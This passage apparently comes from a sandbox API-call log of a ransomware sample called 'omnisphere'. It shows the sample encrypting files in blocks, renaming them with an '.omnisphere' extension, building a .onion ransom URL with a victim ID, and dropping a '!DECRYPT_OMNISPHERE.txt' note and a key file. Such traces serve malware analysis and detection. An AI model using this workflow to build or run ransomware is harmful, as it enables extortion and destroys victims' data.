pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.800] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.801] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.802] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.802] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.802] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.802] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.802] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.802] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.802] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xc00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.802] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0127.806] GetProcessHeap () returned 0x1600000 [0127.806] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1710858 [0127.806] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.omnisphere")) returned 1 [0127.807] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.omnisphere.id" [0127.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0127.813] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0127.814] CloseHandle (hObject=0x388) returned 1 [0127.814] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.814] CloseHandle (hObject=0x3c0) returned 1 [0127.814] SetEndOfFile (hFile=0x288) returned 1 [0127.814] FlushFileBuffers (hFile=0x288) returned 1 [0127.818] CloseHandle (hObject=0x288) returned 1 [0127.819] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0127.819] GetProcessHeap () returned 0x1600000 [0127.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1710b70 [0127.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.819] GetProcessHeap () returned 0x1600000 [0127.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1aa0 [0127.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1aa0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.819] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.819] GetProcessHeap () returned 0x1600000 [0127.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710540 [0127.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710540, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.819] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.819] GetProcessHeap () returned 0x1600000 [0127.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16f46b0 [0127.819] PathCombineW (in: pszDest=0x16f46b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0127.819] GetProcessHeap () returned 0x1600000 [0127.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1708b38 [0127.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.819] WriteFile (in: hFile=0x288, lpBuffer=0x1708b38*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1708b38*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0127.820] CloseHandle (hObject=0x288) returned 1 [0127.820] GetProcessHeap () returned 0x1600000 [0127.820] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1710b70 | out: hHeap=0x1600000) returned 1 [0127.820] GetProcessHeap () returned 0x1600000 [0127.820] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0127.820] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0127.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.820] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.820] CloseHandle (hObject=0x288) returned 1 [0127.821] GetProcessHeap () returned 0x1600000 [0127.821] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0127.821] GetProcessHeap () returned 0x1600000 [0127.821] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0127.821] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6623dd20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6623dd20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66263f3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="1b6ebacd7cd2f25a.automaticDestinations-ms", cAlternateFileName="1B6EBA~1.AUT")) returned 1 [0127.821] GetProcessHeap () returned 0x1600000 [0127.821] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.821] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="1b6ebacd7cd2f25a.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms" [0127.821] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.821] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b6ebacd7cd2f25a.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.821] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0127.822] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.822] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.823] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.823] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.823] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.823] CloseHandle (hObject=0x3c0) returned 1 [0127.823] GetTickCount () returned 0x115fe42 [0127.823] GetTickCount () returned 0x115fe42 [0127.823] GetTickCount () returned 0x115fe42 [0127.823] GetTickCount () returned 0x115fe42 [0127.823] GetTickCount () returned 0x115fe42 [0127.823] GetTickCount () returned 0x115fe42 [0127.823] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] GetTickCount () returned 0x115fe42 [0127.824] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668c58) returned 1 [0127.825] CryptImportKey (in: 